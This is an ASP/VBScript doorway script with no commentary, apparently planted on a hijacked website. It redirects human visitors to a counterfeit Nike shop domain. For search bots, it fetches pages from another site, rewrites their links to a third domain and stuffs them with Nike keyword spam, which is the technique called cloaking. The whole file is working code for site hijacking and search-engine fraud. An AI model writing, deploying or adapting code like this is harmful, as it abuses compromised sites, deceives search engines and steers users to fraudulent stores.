<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% On Error Resume Next dim jumptodomain, imagefolder, fromsite, tourl jumptodomain = "www.nikes-fr.com" dim agent,language,referer agent=request.servervariables("HTTP_USER_AGENT") language=request.servervariables("HTTP_ACCEPT_LANGUAGE") referer=request.servervariables("HTTP_REFERER") if language = "" and referer = "" then if InStr(agent, "bot")<=0 then Response.Redirect "http://"&jumptodomain&"/" Response.End end if else Response.Redirect "http://"&jumptodomain&"/" Response.End end if fromsite = "http://www.freefr.fr/site_map.html/" tourl = "http//:dicksdeals.com/LAMB_files/freefr.asp" pageid = "P" imagefolder = "images/" tourl = tourl&"?"&pageid&"=" %> <% on error resume next Function getHTTPPage(URL) Set HTTPReq = Server.createobject("Msxml2.XMLHTTP") HTTPReq.Open "GET", URL, False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function if request(pageid)<>"" then htmls = getHTTPPage(fromsite&request(pageid)) else htmls = getHTTPPage(fromsite) end if htmls = replace(htmls,""&chr(34)&fromsite,""&chr(34)&"/") htmls = replace(htmls,""&chr(34)&"/"&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&imagefolder,""&chr(34)&fromsite&imagefolder) htmls = replace(htmls,""&chr(34)&"/image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"image/",""&chr(34)&fromsite&"image/") htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&fromsite&"includes/") htmls = replace(htmls,""&chr(34)&"/media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"media/",""&chr(34)&fromsite&"media/") htmls = replace(htmls,""&chr(34)&"/catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"catalog/view/",""&chr(34)&fromsite&"catalog/view/") htmls = replace(htmls,""&chr(34)&"/skin/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"js/",""&chr(34)&fromsite&"skin/") htmls = replace(htmls,""&chr(34)&"/js/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,""&chr(34)&"skin/",""&chr(34)&fromsite&"js/") htmls = replace(htmls,"href="&chr(34),"href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"//","href="&chr(34)&"/") htmls = replace(htmls,"href="&chr(34)&"/http","href="&chr(34)&"http") htmls = replace(htmls,"href="&chr(34)&"/","href="&chr(34)&tourl) htmls = replace(htmls,"","Nike Blazer Noirnike blazer pas cherNike Air Force 1Nike Air Max 1Nike Air Max 90Nike Air Max LTDNike Air Max TheaNike Free 3.0Nike Free 5.0Nike Free Run 2Nike Free Run 3Nike Roshe RunNike Zoom Elite 5Plan du SiteNike Free 5.0 + FemmeNike Free Run 2 FemmeNike Free Run 3 FemmeNike Free 3.0 V4 FemmeNike Free 3.0 V5 FemmeNike Roshe Run Mesh FemmeNike Roshe Run Suede FemmeNike Roshe Run Yeezy FemmeNike Roshe Run 2014 FemmeNike Roshe Run Mid FemmeNike Roshe Run Slip on FemmeNike Free 5.0 + HommeNike Free Run 2 HommeNike Free Run 3 HommeNike Free 3.0 V4 HommeNike Free 3.0 V5 HommeNike Roshe Run Mesh HommeNike Roshe Run Suede HommeNike Roshe Run 2014 HommeNike Roshe Run Yeezy HommeNike Roshe Run Mid HommeNike Roshe Run NM BR 3MNike Roshe Run Slip on HommePlan du SiteNike Free Run 5.0 HommeNike Free Run 2 FemmeNike Free Run 2 HommeNike Free Run 3 FemmeNike Free Run 6.0 HommeNike Free Run 3.0V4 HommeNike Free Run 3 HommeNike Free Run 6.0 FemmeNike Free Run 5.0 V2 FemmeNike Free Run 3.0 FemmeNike Free Run 3.0 HommeNike Roshe Run HommeNike Free Run 3.0V4 FemmeNike Free Run 5.0 FemmeNike Free Run 3.0V5 FemmeNike Free Run 3.0V5 HommeNike Free Run 5.0 V2 HommeNike Free Run 5.0 V3 FemmeNike Free Run 5.0 V3 HommeNike Free Run 5.0 V4 FemmeNike Free Run 5.0 V4 HommeNike Roshe Run FemmePlan du SiteNike Free Trainer 7.0Nike Blazer Pas chernike pas cherPas Cher Nike Roshe RunNike Air Max 2013 Chaussures",1,-1,1) response.write htmls %>